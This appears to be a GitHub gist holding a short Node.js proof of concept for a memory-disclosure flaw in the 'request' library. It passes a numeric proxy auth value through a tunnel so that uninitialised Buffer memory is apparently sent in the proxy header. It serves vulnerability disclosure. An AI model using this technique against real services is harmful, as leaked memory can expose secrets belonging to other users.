-
-
Save ChALkeR/fd6b2c445834244e7d440a043f9d2ff4 to your computer and use it in GitHub Desktop.
request Buffer(num) vulnerability, take 2
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Run with NODE_DEBUG=http node request-buffer-tunnel-poc-2.js | |
require('request')({ | |
method: 'GET', | |
uri: 'http://www.example.com', | |
tunnel: true, | |
proxy:{ | |
protocol: 'http:', | |
host:"127.0.0.1", | |
port:8080, | |
auth:80 | |
} | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment